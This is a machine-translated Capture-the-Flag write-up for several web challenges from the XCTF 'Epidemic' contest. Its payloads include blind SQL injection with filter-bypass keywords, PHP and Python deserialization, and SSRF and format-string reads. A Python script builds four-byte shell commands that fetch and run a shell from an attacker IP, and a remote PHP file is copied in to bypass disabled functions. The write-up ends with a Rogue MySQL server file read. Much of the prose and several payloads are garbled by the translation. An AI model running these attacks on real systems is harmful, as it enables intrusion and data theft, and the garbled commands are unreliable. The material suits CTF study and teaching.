XCTF University Battle "Epidemic" Network Security Sharing Contest WEB_WP

Keywords: PHP PDO MySQL encoding

Article Directory

XCTF University Battle "Epidemic" Network Security Sharing Competition


  • First of all, it's really a good idea to talk about this topic.
  • After opening the title, it's a nice blog, prompted in the source? time=Y or? time=2020

  • There were blind notes on the test, but when you constructed payload, it was always 500. Guess it was the backend that filtered the submitted data. After trying n positions, it was too long to think about them. Finally, it was found that adding \ before each character was enough (orzzzzzzzzzz zzzzzzzzzzzz)
  • Next is the blindly scripted shuttle
  • The final data that pops up is as follows
Database name: trick
 Table name: admin,content
 Column name: id,username,passwd,url,id,content,createtime
 admin table contents:
	Password: 20200202 Goodluck //goodluck hammers
  • Found another link, doll...
  • After the visit, found to be landing, with the explosion landing

  • Found Readable Files
  • Tips found in source: <!--/eGlhb2xldW5n/eGlhb2xldW5nLnBocA=.php-->
  • Try to read it, echo: please visit from local
  • Originally thought it was a header forgery like XFF, it was later discovered that something went wrong (the hint given was ambiguous)
  • Use file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php (it doesn't seem to work with either, I read the source code later to know that only the localhost is written in the background, a bit crashed
  • Read eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php

class trick{
	public $gf;
	public function content_to_file($content){	
		$passwd = $_GET['pass'];

			echo file_get_contents("/".$content);


	public function aiisc_to_chr($number){
		$str = "";
		 $number = str_split($number,2);
		 foreach ($number as $num ) {
		 	$str = $str .chr($num);
		 return strtolower($str);
		return chr($number);
	public function calc(){
		if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
		  	$content =  $this->aiisc_to_chr($content); 
		  	return $content;
	public function __destruct(){

  • Read his check file again
	die('Please login!');
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    die('Please visit from local');

	if(!preg_match("/flag|fl|la|ag|fla|lag|log/is", $parts['path'])){
		die('Don't do these strange things.');
  • Look at how his idnex.php interface was designed, using the data function, and sure enough...
$time = date($_GET['time']);
$sql = "select * from `content` where `createtime` = '$time' ";
$r = $conn->query($sql);
$content = $r->fetch_array(MYSQL_ASSOC);

  • After the code audit, you know that there is a deserialized + alphabetic code execution in the eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php file that assigns flag to the contents (and another check for the pass parameter is that the question is posed for the question)
  • Part of payload script
>>> a = '/TMP/../FLAG'
>>> s = ''
>>> for i in a:
...     s+=str(ord(i))
>>> print(s)
$tmp = new trick();
echo serialize($tmp);
echo "<br>";
echo base64_encode(serialize($tmp));
  • Final payload:code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyNToifsvIx8vIyMfPy8jLycvJy8jIz8jJycrIziI7fQ &pass=a.passwd%0a20200200202


  • A similar title was found, guessgame of SUCTF
  • Some sources are as follows
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name}, category={self.category})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return "result={}\npickle_data={}\ngiveflag={}\n".format(result, pickle_data, correct)
        except Exception as e:
            return "Something wrong"
  • Find wp at that time Detailed
  • The idea is to construct a payload so that the secret property is overridden
  • Feels like handcrafting is too much trouble, I didn't expect the last friend constructed tqllllll
  • This is his payload


  • Source code given, audit downloaded, session deserialization found
  • Only administrators in the core folder have access. After debugging locally, we found a usage point in the update signature and constructed payload:|O:4:'info': 2:{s:5:'admin'; i:1; s:4:'sign'; s:4:'wuhu';}
  • Access core
  • The source code is as follows:

if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                    } else {
                        echo "try again";
        } else {
            echo "invalid url";
    } else {
} else {
    die('Only administrators can see me');
  • The point of consideration is the use of the four-byte getshell and data protocols

  • 4-byte getshell Reference hitcon2017

  • The data protocol uses compress.zlib://data:@;base64,

  • Solving payload (python2)

import requests as r
from time import sleep
import random
import hashlib
import base64

shell_ip = ''
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in shell_ip.split('.')])
pos0 = 'e'
pos1 = 'h'
pos2 = 'g' 
payload = [
    '>%s\>' % pos0,
    '>%st-' % pos1,
    '*v>%s' % pos2,
    '>%s\\' % ip[8:10],
    '>%s\\' % ip[6:8],
    '>%s\\' % ip[4:6],
    '>%s\\' % ip[2:4],
    '>%s\\' % ip[0:2],
    '>\ \\',
    'sh ' + pos2,
    'sh ' + pos0,
tmp = '''POST /core/ HTTP/1.1
Content-Length: 77
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: PHPSESSID=1d2e6a8747522dab247fccdeb1283a75
Connection: close


# |O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"ssss";}
# rm * cm0gKg==
import hackhttp
hh = hackhttp.hackhttp()
for i in payload:
    data = tmp.format(base64.b64encode(i).replace('+',"%2B").replace("=","%3D"))
    code, head, html, redirect, log = hh.http('', raw=data)
    print html
  • Connect shell to get flag


  • This question is the rounded one
  • The team's mentors started reading port 8080, so I took on what they continued to do.
  • First source code is
    $begin = "The number you want: ";
    if($head == ''){
        die('Where is your head?');
        die('Head can\'t be like this!');
        die('No No No');
        die('Don\'t use strange protocol!');
    $funcname = $head.'curl_init';

    $ch = $funcname();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $output = 'rua';
    echo sprintf($begin.'%d',$output);
  • A typical SSRF problem, the mentor's ideas are:

head=\ Can be normal curl
begin=%1$s Echo the output

  • Read the 8080 port echo as follows:

  • I was confused at first, but at last I was reminded that it was python's api

  • {file} is used, so a formatting string bug is suspected

  • Construct payload?Head=&begin=%1$s&url={file. u class_u. u init_. u globals_}%26vipcode=0

  • Formatting string vulnerability was detected and information about vip was found

  • Reconstruct payload to read vip's attribute {file. u class_u. u init_u. u globals_u[vip]. u init_u. u globals_u}

  • Read vipcode

  • At this point I thought I could try to read flag directly. The directory is fl4g_1s_h3re_u_wi11_rua, but the echo is that the directory is a secret directory

  • Read the source code first: /app/base/vip.py and/app/base/readfile.py

  • Discover important information in readfile.py

  • You can see that the fl4g is filtered and think of intercepting an f with a formatted string: payload{file. u class_u. u init_u. u globals_[u name_][9]}

  • However, the error is still reported. Audit the source again and find that it has been replaced by {vipfile}, so replace with {vipfile. u class_u. u init_u. u globals_u[u name_][9]}


  • After opening the title, check the source code as follows:

$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);

if (isset($_REQUEST['cmd'])) {

  • Create a folder for each user

  • Then switch to your own folder directory

  • Can pass in cmd for code execution

  • Incoming cmd=phpinfo();, view phpinfo related information

  • Functions that execute system commands are disabled

  • And open_basedir

  • I tried a few previous wheels and found that none of them worked, so I tried to find a new script
  • google and github take a look at php uaf apache
  • Many can be found, and the last script used is: php7-backtrace-bypass Change PWN ("uname-a") to pwn($_GET['pass'])
  • From the remote server copy to the title environment, copy is directly copied to the / tmp directory, copy("http://ip/1.txt","/tmp/233.php") because it is regularly deleted in its own folder
  • Incoming? Cmd=include ("/tmp/233.php"); &pass=ls /Conduct command execution, view directory
  • Incoming? CMD = include ("/tmp/233.php"); &pass=/readflag, read flag


  • Open the link, a login interface, a registration link, and a directory scan reveals admin.html and admin.php
  • Register any rdd rdd, you can log in, you have a flag interface, but click to show You don't have permission to
  • Here are a few things to show in this interface

Source leak gets flag directly

Registered users also have a rating

There is no flag in flag.php!!!

  • Source code should look at

  • When you register, you should register a higher-level

  • There is absolutely flag in flag.php

  • But the title doesn't give a source, so try to look at the html source

  • A type parameter was found in the registration interface and prompted <!-- 110 -->

  • F12 Modify elements, submit (or bp wrap changes) and register an advanced user

  • You can access the flag interface by logging in with a new user

  • There's a search box, guess there's an injection

  • Enter 1, echo: There is no flag......

  • Enter 1'or 1=1#, echo There is flag!

  • Judging Blind Notes

  • Script runs out of database name: ctf-2

  • When running other data, we found some problems and after some fuzz, we found that select and from need to be double-written to bypass

  • Next, continue to construct payload read table name, column name

Table name: admin,fl4g,jd,user
 Column name: username,pwd,qq,flag,number,submission_date,shifumoney,money,truemoney,zhuangtai,bangding,beizhu,username,pwd,tupian

  • payload:base2 = flag=1'or ASCII (substr((selectectect flag frfromom fl4g), {}, 1)>{}%23) for the final flag
  • Result:

  • Only half of the flag was run out, but the first half gives a hint for Rogue-MySql-Server, and a search reveals any file read vulnerabilities.

  • No usage point was found, and I thought of admin.html, which I swept up earlier, as well as a landing box

  • In the just blinded note, a table of admin popped out, and then reported the content, to get the user name and password: admin e2ecea8b80a96fb07f43a2f83c8b0960, password MD5 decrypt it is: whoamiadmin

  • After landing, jump to admin.php and discover holes that can make use of Rogue-MySql-Server

  • Looked for the script on the web, github has open source, but I don't know why it can't be read, so I found a wild script, modified the port, and modified the file to be read as flag.php (flag.php mentioned earlier can't have flag, so flag.php must have flag

  • The final result is as follows

  • Flag stitching: flag{Rogue-MySql-Server-is-nday}


  • Code given in title:
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
    // ....
  • After a search, it was the same topic. link
  • It's really strange knowledge.flag echoes when admin'-0-'logs in directly
Thirteen original articles were published. 7 were praised. 3209 were visited
Private letter follow

Posted by jorje on Mon, 09 Mar 2020 19:29:37 -0700